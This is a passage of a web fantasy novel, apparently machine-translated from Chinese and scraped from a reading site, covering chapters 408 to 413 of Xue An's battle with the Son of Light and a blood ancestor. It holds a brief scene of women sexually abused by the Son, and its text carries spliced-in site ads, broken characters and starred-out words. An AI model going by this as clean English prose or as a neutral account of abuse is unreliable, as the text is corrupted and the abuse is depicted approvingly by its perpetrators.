    Anastasia finally nodded with difficulty, "Okay! I can teach you, but you have to be clear, this actually doesn''t make much difference!"


    Fan Mengxue silently kowped his head and said nothing.


    Just when Fan Mengxue began to practice the Dark Forbidden Curse frantically.


    The news of the coming of the Son is like a hurricane, spreading across Europe and the entire world at a terrifying speed.


    After hearing this news, countless forces that were already ready to move immediately changed their attitudes and became respectful again.


    Those little forces that had taken advantage of the fire ran away even overnight.


    Even those forces that have been befriending the Church of Light are still trembling at this moment.


    It can be said that the whole of Europe squatted and trembled in front of Shengzi Guangming. Starting


    At the same time, everyone''s attitude towards Xue An has changed.


    If someone really thought that Xue An might destroy the Bright Church, then no one has any hope for this anymore.


    Some people even think that the most correct way for Xue An after learning the news is to run away immediately.


    Otherwise, it is purely to die!


    But in the face of these doubts, Xue An just smiled indifferently and didn''t care at all. He still took Anyan to travel around the mountains and water, and then resolutely went to the Guangming religion.


    Just as the atmosphere fell into a strange and terrifying silence.


    in the blood mountain.


    In the Blood Race Council that had been slaughtered by Xue An, there was a sudden violent fluctuation in the space, and then countless monstrous blood bursts out of it, causing the entire Blood Mountain to tremble under its power.


    Then I saw a foot stepped out of the space gap and stepped on the groundNew 81 Chinese network update the fastest mobile terminal: https:/


    This person''s face is extremely evil, and his eyes are full of incredibly strange red blood.


    Behind him is a pair of extremely large and bright wings.


    The man stood in the blood assembly, looked around, frowned slightly.


    At this time, more than a dozen people walked out of the gap in space. Behind these people are the second-generation or first-generation kinsmen with seven or even eight pairs of wings, and they exude an extremely powerful aura.


    "Blood Ancestor Lord!"


    These kinsmen all respectfully bent down at the men.


    Blood Ancestor said lightly: "Where are my people? Why didn''t they feel their breath!"


    After a moment of dead silence, I saw a second-generation blood family stepping forward and said in a deep voice: "Respected blood ancestor, a projection of mine once came to this world some time ago, at that time a person slaughtered the entire mountain of blood!"


    Boom!


    An invisible energy directly blasted this second-generation blood family out.


    Pale golden blood spilled all over the place.


    "Why did you tell me now?" the blood ancestor said coldly.


    The second-generation blood family knelt down tremblingly, "Blood Ancestor, I am afraid that you will be disturbed by your return, so I dare not tell you!"


    "Hehe, humble humans dare to slaughter my people? Very good, let me go, I will refine this person into a blood slave in hell, and let him endure endless suffering forever!" said the blood clan gloomily.


    "Yes!"

 Chapter 408： Return of the blood ancestor

    If the shock brought by the coming of the Son is a magnitude nine earthquake.


    Then the news of the return of the blood ancestor is like another volcanic eruption on the basis of a magnitude 9 earthquake!


    The whole Europe and the whole world were completely confused by this series of explosive news.


    The strongest kings of the two camps of light and darkness came almost at the same time, and they all aimed at Xue An.


    Now, even the people who were the most optimistic about Xue An before have changed their views.


    No one thinks that Xue An can make a comeback in such a situation, and some even assert that Xue An will definitely die!


    Dark Council.


    Fan Mengxue has not been out of the room for three full days.


    She is honing her dark witchcraft almost crazy.


    Outside the house, Anastasia, Karthus and others looked at each other, their complexions very ugly.


    "Would you like to tell her about this?" Karthus asked.


    Anastasia sighed, "Let''s tell her, and then I will take her to see Xue An, no matter what method is used, let him flee Europe for the time being and talk about it!"


    "Okay! Remember not to irritate her!" Karthus said worriedly.


    He is even more nervous than Anastasia.


    Because after this time of getting along, Karthus has regarded Fan Mengxue as his junior, even his daughter.


    Anastasia nodded, opened the door and walked in.


    The room is full of black mist.


    Fan Mengxue sat in the middle and was meditating. His cheeks were also thinning at a speed visible to the naked eye, but his momentum became stronger.


    Anastasia sighed slightly, then whispered: "Mengxue!"


    Fan Mengxue slowly opened his eyes, and a powerful dark force radiated out.


    Anastasia was surprised.


    In just a few days, Fan Mengxue''s progress was incredible.


    "Master! What''s wrong?"


    Anastasia stepped forward and hesitated slightly, "I just received a message."


    "Is it about Xue An?" Fan Mengxue''s expression was shocked.


    "The ancestor of the blood family returned to this world with the first and second generation blood family, and released the message to deal with Xue An!"


    After all, Anastasia stared at Fan Mengxue worriedly, for fear that she would not be able to bear the blow again.


    But Fan Mengxue has nothing more unusual except for her face paler, she just lowered her head, "Well, I see!"


    Anastasia said: "Mengxue, you may not understand what the blood ancestor return means!"


    "Although the Dark Council and the Blood Clan belong to the dark camp, the two directions seem to be in harmony, and there were even conflicts in the ancient times. Therefore, the Dark Council has more detailed information about this blood ancestor."


    "This is a demon-like existence, and all the blood races in this world are his descendants. Its strength is so powerful that it is not much better than the Son of Light!"


    While Anastasia was talking, Fan Mengxue never looked up.


    It''s just that Anastasia can still see that there are red blood drops rolling down between the drooping hair.


    That is because Fan Mengxue bit her lips too hard.


    "So I discussed with Karthus and others. The most important thing now is to meet Xue An first and persuade him to leave Europe as soon as possible, otherwise..."


    Otherwise, I didn''t say the following words, but Anastasia believed Fan Mengxue knew what it meant.


    "It''s useless!" Fan Mengxue sighed faintly.


    "You don''t know him at all, and his character has never changed. Even if the other party is the **** of Guangming, he will not back down!" Fan Mengxue nearly muttered.


    then smiled at Anastasia, "Master, please teach me all the forbidden spells!"


    Anastasia froze for a long time, and then nodded gently, "Okay!"


    Blood Council.


    Blood Ancestor sat on the soft human leather sofa and took a sip of the girl''s blood comfortably.


    "This is the taste! Different from the tasteless blood provided by the blood slaves in the blood world, this is the supreme sweet and fragrant delicacy! For thousands of years, I finally tasted it again. I miss it!"


    Blood Ancestor sighed in intoxication.


    At this time, a second-generation blood clan flew to the ground, "Blood Ancestor, the news has spread, and I have also inquired a lot about Xue An and..."


    "And what?" Blood Ancestor said lightly.


    "And news from the Bright Church!"


    "Oh? Come and listen!"


    "After Xue An slaughtered all the people of my blood race, I don''t know why he suddenly appeared in Country Y and announced that he would completely eradicate the Bright Church!"


    "Hehe!" Hearing a sneer at the corner of his mouth, the blood ancestor became more and more disdainful.


    is really a guy who doesn''t know how to live or die. He doesn''t even know how terrifying the backstage of the Church of Illumination is, and he doesn''t even know the importance of this world to the big guys.


    But the words of the second generation of blood clan stunned.


    "The Guangming Church has been silent since the beginning, and Xue An slaughtered all the way south, but just the day before yesterday...Under the attention of countless people, the Son of Guangming has come!"


    When this second-generation blood family mentioned the Son of Brightness, his voice trembled slightly, obviously very frightened.


    The blood ancestor was stunned for a moment, but a smile appeared.


    "Is the Son of Bright coming too? It seems that this world is going to change drastically! But who is it? The seventh? Or the twelfth?"


    After the blood ancestor whispered to himself a few words and nodded, "I know! So, this Xue An not only provokes our blood clan, but also offends the son of Guangming! Did he run away?"


    said, the blood ancestor showed a malicious smile.


    can offend the powerhouses of the light and dark camps at the same time, this Xue An can be regarded as unprecedented in this regard!


    "Yes! But just when everyone thought Xue An would run, this Xue An was still going south without hurries, and the goal was to teach the country brightly!"


    A stern look flashed in the eyes of the blood ancestor, "It''s a wolf, but it''s getting more and more interesting!"


    As he said, the blood ancestor put out a letter paper filled with ominous blood.


    He thought for a while, then wrote a few words, and then handed them to the second generation of blood.


    "Go, send this letter to Guangming Shengzi!" New 81 Chinese network update the fastest mobile terminal: https:/


    Second-generation blood family thought he had heard it wrong.


    "Sir..., the other party is the Bright Church!"


    The blood ancestor listened and smiled, "The weak are divided into light and darkness. The real strong only depends on benefits and strength! Go!"


    "Yes!" The second generation of blood replied with a trembling voice, and then turned and flew away.


    The blood ancestor slowly took a sip of blood, his eyes gleaming with strange blood.


    "Is the God of Light finally unable to hold it back? What secrets are hidden in this world that make you supreme gods dream about it?"

 Chapter 409： 1 road south, kill while walking

    Bright Church.


    Holy Light Cathedral.


    Since the advent of the Son, it has returned to the heavily guarded state of the Middle Ages.


    this moment.


    The pope and many high-level officials stood respectfully outside the door.


    It wasn''t until the last sound that Shengzi walked out of the room naked.


    Several cardinals hurriedly stepped forward and handed over the robes that had been prepared.


    Then a few beautiful women put on him.


    There was a pleasant look on the handsome face of the son, and then said to the pope: "I am very satisfied with the saint this time, but the number is too small!"


    The pope trembled, and immediately said: "Yes! I will prepare more next time!"


    Shengzi nodded in satisfaction.


    At this time, someone wrapped the wounded saints from the house and carried them out.


    These ravaged, inhumane women are all dull, because their end will be miserable, and they will most likely become the playthings of the entire high-level.


    Shengzi sat on the large and comfortable sofa, and someone served a century-old red wine.


    Shengzi took a sip and let out a sigh of relief.


    It still feels good to come to this plane.


    is not only unattended, but also invincible.


    "What''s the name of Xue An, what is going on?" Shengzi asked lightly.


    "Holy Son, this person will go all the way south, and he will be able to reach the church country at the latest tomorrow or the day after tomorrow!" The heretic chief referee said before the pope.


    Shengzi nodded, "Very well, always pay attention to his movements!"


    "Yes!" After the heretic chief referee was praised, he was very pleased and quickly bowed his head to answer.


    The pope, who kept his head down, flashed an insignificant cold light in his eyes. Then he stepped forward and bowed and said, "Master Son, there is one more thing, I think I have to report it to you!"


    "what''s up?"


    "It is said that the ancestor of the blood race has arrived the day before yesterday!"


    The Pope��s words, let the room be quiet.


    As a high-level Guangming, they of course all heard the news, so they all looked at the Son of Guangming.


    Shengzi frowned slightly when he heard the words, "Blood ancestor? This guy actually came at this time?"


    At this moment, a cardinal walked in tremblingly, and he squatted on the ground as soon as he entered the door.


    "The Son is here, and a letter suddenly appeared in front of the church!"


    "Oh? What letter!"


    The cardinal took the letter out of his arms, and there was a touch of blood on the letter.


    Everyone present was startled.


    This is... the breath of blood!


    Shengzi was also slightly startled, and then stretched out his hand, a ray of holy light trusted the book.


    After a look, there was a hint of surprise on the face of the son, and then he sneered.


    "What a nasty group of bats!"


    After ����, he raised his hand slightly, and after a holy light flashed, the envelope was burned to nothingness.


    Then he stood up, walked to the floor-to-ceiling windows, looked at the magnificent sacred church, and said calmly: "The blood ancestor said in the letter that he will come to Guangming to teach the country in the next two days!"


    The words made everyone in the room look at each other.


    The Paladin of Light stepped forward and said, "Master Saint Son, do I need to wait for preparations and then destroy this blood ancestor?"


    "Zhu Mie? Why do I have to die!"


    "Ok?"


    This question of the Son of God surprised the Paladin and the people in the house.


    Light and darkness are inherently incompatible, so do we need a reason to destroy the ancestor of a blood race?


    Guangming Shengzi chuckled, "This blood ancestor also dealt with that Xue An. From this point, we are considered an alliance! Why should he be killed?"


    Everyone bowed their heads upon hearing this.


    "Go down!"


    "Yes!"


    After ���� waited for everyone to go down, the corner of Guangming Shengzi''s mouth showed a cold smile.


    "Blood ancestor? Haha, did you smell something? You actually came to join in the fun at this time? But this time I came under the command of the supreme Father God. If you dare to hinder, even the blood demon **** behind you is also I can''t keep you!"


    "And that Xue An, I''m really curious, who on earth are you? You can make God the Father so valued? Even burn the godheads of the three holy angels to make me complete the lower realm? Just to deal with you This is a mere mortal!" New 81 Chinese website updated the fastest mobile terminal: https:/


    said, an extremely powerful light power emerged from his body, and a holy light directly hit the sky from the top of the church.


    In another corner of the church, the Pope and others silently felt the power of this light, and their faces showed horror and joy.


    "The saint child who came this time seems to be much stronger than the record!" The presiding judge of light who had been silent said softly.


    Everyone nodded slightly.


    The Paladin said with some doubts: "Since the Lord Son is so powerful, why not destroy the **** blood ancestor? In this case, our Bright Church will lose a powerful enemy!"


    The Pope shook his head when he heard the words, "Paladin, you don''t understand that the gods never get along so harmoniously. Even our supreme God of Light has its own considerations!"


    Hearing these words from the Pope, the Paladin bowed his head.


    And the heretical chief referee sneered slightly when he heard the words, "My lord Pope, are you trying to denigrate our Father God is not omnipotent? Or, do you think that light and darkness are not opposites?"


    The pope said lightly: "There is never a clear distinction between light and darkness!"


    Just when the entire Bright Church was shaken by this incident.


    At the core of the storm of public opinion, Xue An and An Yan are enjoying themselves in the mountains and rivers, killing off the light forces along the road all the way south, walking and killing.


    This is already the seventh day that Xue An has performed this way.


    At the beginning, An Yan was still a little uncomfortable, wondering if she would kill the wrong person.


    Wait waiting for the filthy facts to be laid bare before and after her eyes, An Yan also closed her mouth.


    But after the fifth and sixth days, the churches along the road were empty.


    One of the most important changes is that the number of people following Xue An suddenly began to decrease.


    In the first few days, there were so many people stalking Xue An, but these two days have dropped drastically.


    Even if there are still, the eyes of those people have become very strange.


    Xue An just smiled at this.


    At this moment, he is taking An Yan to eat in a small restaurant.


    I have to say that although this restaurant is small and remote, the taste is still very good.


    is enjoying a sweet time for two, Quintina and Serena arrived in the dust.


    The appearance of two beauties attracted the attention of many people in the restaurant.


    When they saw Xue An sitting in the corner, they couldn''t help but let out a sigh of relief, and then walked straight over.


    "the host!"


    "grown ups!"


    The names of the two stunned many people who pricked their ears and overheard, and many men showed meaningful smiles on their faces.


    Xue An nodded, "What''s the matter?"

 Chapter 410： All over the world

    "My lord, don''t you know?" Seeing Xue An''s expression indifferently, Serena couldn''t help being a little surprised.


    "Know what?" Xue An turned off all communication equipment along the way, and simply took his wife to travel around the mountains and water.


    "The blood ancestor is back!" Quintina said with a solemn expression.


    "Huh?" Xue An raised his eyebrows upon hearing this.


    "That''s right, and the latest news that I just received, the blood ancestor is going to the Guangming Kingdom, ready to deal with you, my lord, with the Guangming Son who has just descended into the world!" Serena also has a heavy face.


    She still remembers the shock when she first heard the news.


    Bright Son, ancestor of the blood race!


    These are all earth-shattering big shots, but this time they have to unite to deal with Xue An.


    This is simply a slaying game!


    Therefore, she and Quintina were not in the mood to refine the blood energy that Xue An gave them, and immediately rushed to find Xue An, and then quickly persuaded him to take shelter for a while.


    Unexpectedly, Xue An''s eyes became brighter, "The ancestor of the blood race?"


    "Yes! It is the ancestor of all our blood races, an extremely powerful demon god!" Quintina said in a deep voice.


    Xue An couldn''t help laughing, and the laughter attracted the attention of the entire restaurant.


    "Okay! Originally, I wanted to go to the blood world to find this grandson after I destroyed the Church of Illumination, but in the end he came to die by himself!"


    Xue An''s words made Serena and Quintina look confused.


    They had imagined all Xue An''s reactions, but they didn''t expect Xue An to be ecstatic!


    "My lord, they are going to join hands to deal with you!"


    "That''s not good? It just saved me trouble!" Xue An said lightly.


    Serena and Quintina looked at each other, and both swallowed hard.


    Looks like... Your lord seems to be really happy.


    In the corner of the dining room, several intelligence personnel were looking at Xue An in the distance with all of their faces.


    Until he got up and left.


    These intelligence personnel trembled all over, regained their sobriety, and then immediately took out their mobile phones and reported what Xue An had just said.


    Xue An''s indifference and disdain when confronted by the blood ancestor and the holy son when they joined forces soon spread, making many people who were ready to watch the jokes startled.


    "This Xue An, if it is not crazy, it is that he has absolute confidence in his own strength! But I tend to be crazy! Otherwise, I really can''t imagine what strength is needed to face the two giants joining forces. Can still be so indifferent!" A certain boss made an assertion.


    "Regardless of whether this Xue An wins or loses, I admire him very much. After all, if it were me, I would have been scared to death in the face of this universal enemy!" There is also the dark boss said.


    "As for this matter, I can only use four words to evaluate it, and I will die by myself!" someone said mockingly.


    "Isn''t anyone curious, why would Guangming Shengzi and the ancestor of the blood race cooperate? This is simply incredible!" Someone said with a look of surprise.


    Just when the whole outside world is changing.


    The blood ancestor and his men have already come outside the Guangming Kingdom.


    Wherever he went, the blood burst into the sky, which made people shudder.


    The priests who guarded the church country were all pale pale by this powerful aura, and some of them with low cultivation bases were shaky.


    Standing in the air, the blood ancestor smiled slightly and said, "Master Saint, won''t you come out to greet me?"


    Following his voice, a white light rose into the sky in the Holy Light Cathedral, and the Son of Light appeared in the air.


    The blood ancestor was startled, and then leaned slightly in the air, "His Royal Highness is actually the Fourteenth Son! Disrespectful!"


    Guangming Shengzi looked at the blood ancestor with a slight smile, "Asmodeus, I didn''t expect you and me to meet in this way!"


    "What I am curious about is that His Royal Highness Saint Child actually came in full body. It seems that Lord Guangming is bound to gain this world!" Asmod said lightly.


    "You are not bad too, it seems that Lord Blood Demon God has high hopes for you too!" Guangming Shengzi said.


    The two demons and gods, who have lived for tens of thousands of years, looked at each other, showing a comprehensible smile.


    To them, killing a Xue An is just an appetizer, and the most important thing is to execute each other''s orders.


    So the two parties started cordial and friendly talks in the air.


    This scene caused a commotion among the crowd watching from a distance.


    "Oh my god, Guangming Shengzi and the blood race are chatting and laughing, is it really going to cause chaos in the world?" Someone sighed.


    "Hehe, in fact, this is the essence of light and darkness! They are opposites, but they are two sides of the same one!"


    "Hey, now the two giants have really appeared, do you think that Xue An will really come?"


    "I guess it''s awful enough. The Bright Church is obviously trying to catch turtles in the urn. Anyone with a little brain will avoid this trap. Unless he is crazy! Otherwise, he will definitely not come!"


    "How do I think he will come? This Xue An has never flinched since his first fame!"


    Just when everyone was talking about it I saw someone in the distance walking slowly.


    This is a man with indifferent expression and lofty temperament.


    Although many people have never seen Xue An''s true face, when he saw that he was a Chinese, and coupled with this momentum, he guessed that this should be Xue An.


    All the voices disappeared, and everyone looked at Xue An with complicated eyes.


    And the two giants who were chatting in midair also noticed the strangeness and turned their heads to look.


    When they saw Xue An walking slowly, the two couldn''t help but smile.


    "Holy Son, it is really hateful for this person to destroy my blood descendants, so let me deal with it!" Asmod said with a brutal face.


    Shengzi Guangming smiled slightly, "Master Asmod, please!"


    He has a stable nature, and naturally wants to let Asmode first explore the truth.


    But at this moment, Xue An, who was walking slowly, suddenly raised his head, the black light in his eyes flickered wildly, and then gave a soft drink.


    "Forbidden Curse��Destruction!"


    Following his voice, countless black clouds came madly, covering the entire sky.


    Then there were countless black fire rains on the sky, and went straight to the one **** and one demon in the air!


    This scene stunned everyone.


    Many people looked at the black clouds in the sky dumbfounded, and whispered: "Is this Xue An not a Chinese? How can a dark magic forbidden curse?"


    But anyway, this powerful forbidden curse also shows Xue An''s powerful strength.


    But under this terrifying curse, Asmod grinned.


    "Is that the ability to kill the people of my blood family?"


    After all, blood beams burst into the sky, just like huge pillars, directly defeating the black cloud!

 Chapter 411： Ultimate Forbidden

    The black cloud receded.


    The backlash of the Forbidden Curse being forcibly interrupted made Xue An''s face pale, and the whole person trembled slightly.


    After Asmodeus repelled this move, he looked at Xue An on the ground with a grin, and shook his head disdainfully.


    "It''s too weak. If you have such a strength, it would disappoint me too much!"


    As soon as the voice fell, Xue An suddenly raised his head, black air in his eyes.


    "Forbidden Curse��Soul Eater!"


    "Forbidden Curse��Exterminate!"


    "Forbidden Curse��Trial!"


    Xue An trembled every time he read a forbidden spell.


    After reciting these three forbidden curses, Xue An''s mouth slowly dripped with blood.


    However, the power of the three forbidden spells is also extremely amazing.


    The mighty power of darkness surrounded the gods and demons in mid-air, and the power of Forbidden Curse was eroding them little by little.


    "Haha, it''s interesting!" Asmodeus smiled, and then took a breath.


    These dark powers were absorbed by Asmod as the tide.


    Then he smiled slightly, "I wonder what you think, using the power of darkness to deal with a blood family?"


    But as soon as the voice fell, he saw Asmod''s face change, and a faint explosion sounded from Asmod''s body, and then his whole person instantly aged.


    At this time Xue Ancai said coldly: "Forbidden Curse��Aging!"


    It turned out that the four forbidden curses were sent all at once, but the last forbidden curse Xue An deliberately kept silent and detonated until the end.


    This time, Asmodeus suffered a small loss.


    But it also completely angered this blood ancestor.


    He roared, "You cunning human!"


    As he said, a second-generation blood clan standing behind him suddenly screamed, and then the whole person turned into blood and was swallowed by Asmod.


    The old face quickly returned, and even more aggressive.


    Then Asmodeus grinned and said, "Human, you have completely angered me. I will pull your soul out and grill it with the fire of **** forever!"


    After that, it turned into a streamer and went straight to Xue An.


    Shengzi Guangming stood aside, looking arrogantly.


    To be honest, Xue An''s strength made him very disapproving.


    If the Lord God Father has been instigated by thousands of people, if Xue An, who must destroy even his soul, is him, it would be simply too ordinary.


    Even a finger can kill him!


    So Guangming Shengzi completely lost his interest in hands-on, just watching from the sidelines.


    But just as Asmodeus was about to rush over, Xue An on the ground suddenly vomited a large mouthful of blood, and then the whole person was enveloped by the flames of darkness.


    In the flames, Xue An began to wilt, but his eyes were shockingly bright, and a smug smile appeared on the corners of his mouth.


    not good!


    Seeing this scene, Asmode''s heart made a big alarm, and he quickly turned to one side, trying to avoid it.


    But the endless power of death enveloped him and the Son of Light!


    This energy is so powerful that even for a while, the two of them can''t break away.


    A look of decisiveness appeared in Xue An''s eyes, because he knew that after using this forbidden curse, his soul would completely collapse.


    But he does not regret it!


    "Ultimate Curse��Of the Gods...!"


    The word twilight in the back has not been said yet.


    I heard someone yell in horror, "skeletons! Lots of skeletons!"


    really.


    Seeing countless skeletons, like an endless ocean, charged forward with boldness and fear of death.


    These skeletons exude a thick breath of death, and no grass is left wherever they go.


    Many priests guarding the walls of Guangming Sect Kingdom have never seen such a terrifying picture, and their legs are shaking with fright.


    But this is just the beginning.


    The sky gradually darkened.


    When everyone looked up, they saw a dozen gigantic bone dragons appearing above the sky. They were so large that they even obscured the sky.


    And above the leading bone dragon, stood a skeleton with blue flames floating in his eyes.


    I saw the skeleton chucking a few dry laughs, then took out a cigar and took a pleasant sip, "Everyone, long time no see!"


    "Gosh... it''s a necromancer! Isn''t this group already dead in the suppression of the Middle Ages?" Someone screamed in shock.


    Xue An stared at this scene blankly and whispered softly: "Karthus..."


    It was Karthus, the Necromancer of the Dark Council, who came and smiled at Xue An, "Yes, I am here!"


    Xue An took a hard breath, feeling sore in his nose and an urge to cry.


    Guangming Shengzi''s complexion darkened, and he sneered: "I didn''t expect that there are disciples of Pluto in this world!"


    "I''m glad that someone remembers Lord Hades!" Karthus smiled slightly.


    "Hmph, I actually mentioned that heinous evil **** in front of my Son of Guangming, go to death!" Son of Guangming sneered, and the holy light burst into the sky.


    Karthus''s expression became serious.


    As a necromancer who serves the Hades, the Light of Light is extremely lethal to him.


    Especially this was displayed by a bright son, and the power was even more amazing.


    "Bone Dragon sigh!" Karthus shouted.


    The dozens of bone dragons flying above the sky opened their mouths together, and black dragon breaths sprayed towards the rushing holy light.


    boom!


    After a violent shock.


    Four or five bone dragons screamed, and they were directly crushed into powder by the light.


    If Karthus had eyelids, he must have seen eyelids jump wildly now.


    Moreover, these bone dragons are still his many years of hard work, and if one died, one would be missing!


    The frustration has come to an end, I can only bite the bullet.


    At this moment, Asmodeus had become so comfortable and he was not in a hurry to deal with Xue An, holding his shoulders and watching.


    He also wanted to take this opportunity to see the strength of the Bright Son.


    Shengzi Guangming snorted coldly, and waved another holy light, this time towards the sea of ??skeletons on the ground.


    The power of this holy light is so powerful that it has already turned many fragile skeleton soldiers into powder.


    But at this moment, dozens of huge figures suddenly rushed out of the ground, directly shredding the holy light.


    "It''s a Titan!" someone exclaimed.


    The leading Titan also nodded at Xue An in the distance.


    Xue An froze for a long time, then nodded vigorously in return.


    At the same time several women covered in mist also appeared on the square.


    "Nightmare!" Xue An whispered softly.


    The leading woman smiled a few times and nodded to "Xue An"!


    "All the people here are from the Dark Council!" Someone finally reacted and exclaimed.


    When it comes to the four words of the Dark Council, many people''s expressions become solemn.


    But many people are still surprised.


    I have never heard that Xue An is related to the people of the Dark Council!


    How is this going?


    And at this time, Shengzi Guangming grinned, "Very well, since you took the initiative to get together, it is just convenient for me to catch you all!"


    After all, his face was shrouded in holy radiance, "Divine might be like prison!"

 Chapter 412： You are not Xue An at all!

    The incomparably powerful holy light spread out, like a cage that enveloped the world, and hit everyone in the dark council.


    At this moment, a woman whispered: "Ultimate Curse��Twilight of the Gods!"


    boom!


    The mist of darkness exuding the breath of ultimate silence directly countered, and the sacred brilliance was dissipated wherever it passed.


    Moreover, Yu Weizhisheng rushed towards the Bright Son in the sky.


    There was a dignified color on the face of the Son of Guangming, but he only turned his side slightly, and then said coldly: "God said, the rules of this world do not exist!"


    As far as the words can be said, this powerful darkness is as if frozen by something, directly frozen.


    Then it broke and disappeared without a trace.


    A woman snorted and then showed her figure.


    It''s Anastasia!


    At this moment, she was pale and her eyes dimmed.


    With her strength, using this ultimate forbidden curse, the pressure is not too great, but she did not expect that the strength of the Guangming Shengzi would be so powerful, and she broke the forbidden curse at hand.


    So the powerful backlash made Anastasia also injured.


    "Master!" Xue An yelled anxiously.


    Master?


    This title makes many people inexplicable!


    At this time, Asmodeus, who had never spoken much, smiled grimly, "No wonder you always feel that something is wrong, it turns out that you are not Xue An at all!"


    Everyone was taken aback for a moment, and then looked carefully.


    Seeing Xue An''s face slowly changed, and then turned into a woman.


    It''s Fan Mengxue!


    That''s right, she just disguised as Xue An.


    Fan Mengxue at this moment is full of guilt.


    When she came out this time, she secretly ran out without telling anyone in the dark council because she didn''t want to involve them.


    Pretending to be Xue An was also a whimsical idea she came up with.


    Her idea is simple, that is to help Xue An kill these two gods and demons in advance.


    Of course, she also knew it was difficult, so she came with a belief in death.


    She even thought about it, even if they can''t kill these two gods and demons, as long as they consume their strength, it''s good!


    Unexpectedly, all the members of the Dark Council arrived at the last moment, and her master was injured for herself.


    "Master, I''m sorry." Fan Mengxue lowered his head and said.


    Anastasia waved her hand and said proudly: "My apprentice, I never need to say sorry, and you have done nothing wrong!"


    The Son of Brightness in midair laughed grinningly when he heard the words, "It''s really a sigh of mentorship! It''s a pity, since you took the initiative to send it to your door today, then I will fulfill you!"


    As he said, he pointed at the sky proudly, "Since you used the Dark Curse to deal with me, I will let you see and see today, what is the ultimate Light Curse!"


    After speaking, he snorted coldly, "Bright... the kingdom!"


    boom!


    The sky before dusk suddenly became bright, countless holy white lights fell from the sky, and the voice of angels chanted faintly.


    But under this seemingly peaceful appearance, there are infinite murderous opportunities hidden.


    The bone dragon soaring in the sky screamed sorrowfully, then turned into powder under the holy light.


    And the skeleton demon soldiers on the ground didn''t even have the strength to resist, they turned into smoke and dust, and left with the wind.


    Karthus screamed and used a dozen escape spells one after another to try to escape.


    But a holy light still penetrated his chest.


    "Karthus!" Anastasia exclaimed.


    Karthus''s skeleton fell directly from midair.


    Upon seeing this, the Titan roared, kicked the ground, and flew into the air suddenly, trying to catch Karthus.


    But Asmode sneered, he suddenly appeared in front of the Titan, and stretched out his hand.


    Plop.


    With a cry of grief, the Titan fell straight down, smashing the ground out of a big hole.


    In the smoke and dust, Karthus thumped and fell to the ground, the bones of his body were scattered, and the flame in the skull''s eye hole was extremely weak.


    At this time, the second wave of attacks had arrived.


    This time the Holy Light is stronger than the first time.


    In the rainy light, the nightmare suddenly screamed.


    The sound is like someone scratching a blackboard with your nails in your ear, it is extremely unpleasant.


    Many people showed an extremely uncomfortable look.


    But this kind of spiritual attack is simply not worth mentioning to the Son of Light and Blood Ancestor.


    Seeing that Karthus was about to be overwhelmed by the Holy Light.


    Anastasia suddenly jumped up, blocked the Holy Light with her back, and blocked Karthus below.


    boom!


    Under the holy light, Anastasia snorted, and her back was directly burned out of black mist.


    When Karthus saw this, the flame that was about to extinguish in his eyes burst suddenly, and he roared in anger, "You stupid woman, you will die like this! Get out! I don''t need you to save me!"


    Anastasia laughed, "You are the only Necromancer in this world. If you die again, the Necromancer will really be extinct!"


    Wet marks gradually appeared in Karthus''s skull eyes.


    It turns out... Skeletons can cry too!


    And at this time, the Son of Light above the sky grinned, "It''s a touching feeling, then I will fulfill you and send you to **** together!"


    Speaking The third wave of attacks hit again.


    The attack was so powerful that all members of the Dark Council were shrouded in it.


    A Titan suddenly hugged Fan Mengxue and then protected her with his body.


    "You are not a dark body yet, you should be able to live, remember to run as soon as possible!" Titan whispered.


    Fan Mengxue trembled all over, tears streaming down her face unconsciously.


    But just when this holy light was about to fall on the heads of every member of the Dark Council.


    A white lotus bloomed in the field.


    Seeing this white lotus, these domineering holy lights seemed to have seen their master, suddenly became docile, and then dissipated like a tide.


    This scene made Guangming Shengzi stunned.


    what happened?


    How could this wave of attacks suddenly fail?


    As for the members of the Dark Council, they were even more surprised.


    At this moment, a cold voice came.


    "It should be you who really should go to hell!"


    Hearing this voice, Fan Mengxue stiffened all over, and slowly raised her head to look.


    Seeing a streamer flying from the sky at a very fast speed, it came to the field in a flash.


    Then he rushed to Guangming Shengzi, raising his hand with a punch.


    boom!


    Before Guangming Shengzi had time to react, he was hit by this punch directly to the ground from mid-air, and even smashed the ground out of a human-shaped pit, not knowing how deep it went.


    Asmodeus, the blood ancestor, trembled, and was about to move.


    The streamer appeared in front of him with a flash, and then hit his head with a punch.


    Click!


    Asmod felt as if he had been stepped on his head by more than a dozen dragons, and he was directly smashed to pieces by this punch.


    The blood mist dispersed.


    The audience was silent.

 Chapter 413： 1 person ares

    Everyone stared blankly at the long-length Yuli man in the air with a cold expression.


    Because all this happened so quickly, but within a breath, a **** and a demon were blown out.


    At this time, some members of the intelligence agency trembled and exclaimed: "It''s him! He is the real Xue An!"


    This sentence was like pouring a scoop of cold water in a boiling oil pan, causing a violent commotion.


    "It''s really him! He actually came!"


    "I*, Guangming Shengzi and the blood race were cleaned up by him with two punches? This is too awesome!"


    "It seems we all underestimated him!"


    This is amazing and applauded.


    But there are still many people with solemn faces. In their opinion, things will never be that simple.


    really.


    Seeing a strong holy light rising from the human-shaped pit that was smashed above the ground, and then Guangming Shengzi rushed out from it, his face turned into anger from embarrassment.


    The blood ancestor whose head was smashed grew a head again at a speed visible to the naked eye, and then looked at Xue An with murderous intent.


    One black and one white.


    The two giants of light and darkness exude a shocking aura, and even make the sky change color.


    This kind of power made all those who had just given birth to a glimmer of hope for Xue An shut their mouths.


    But under such circumstances, Xue An stood with his hand in his hand, showing no signs of panic. Instead, he lowered his head and smiled at everyone in the Dark Council.


    Then he looked at Fan Mengxue with a dull face, and shook his head helplessly, "What a silly girl!"


    Xue An originally rushed here with An Yan graciously, but he heard the news halfway through, saying that the Guangming Church had already started fighting.


    At that time, Xue An was still slightly taken aback, not knowing who he was fighting with.


    But wait a minute to find out, it''s me?


    This is a joke!


    He clearly hasn''t been to the Guangming Kingdom!


    Xue An thought of the teleportation, and quickly thought of a possibility, that is, someone pretending to be against the Bright Son and the Blood Ancestor.


    No matter who it is, it must be done to help yourself.


    In a desperate situation, Xue An flew over directly, saving the people from the Dark Council at the last moment.


    At the same time, he also confirmed his guess that someone was impersonating himself.


    And this person is Fan Mengxue.


    Xue An''s silly girl made Fan Mengxue lower his head, not knowing how to face Xue An.


    At this time, the Son of Guangming said gloomily: "Xue An?"


    "Yes! It''s me!" Xue An raised his head, looked at the son of Guangming, said lightly.


    "Hehe, I really have some skills, and it''s not worth my effort for you!" Shengzi Guangming said grimly.


    He is a **** son, and no one has dared to blast himself out with a punch like Xue An.


    This allowed the Guangming Shengzi to raise infinite murderous intent.


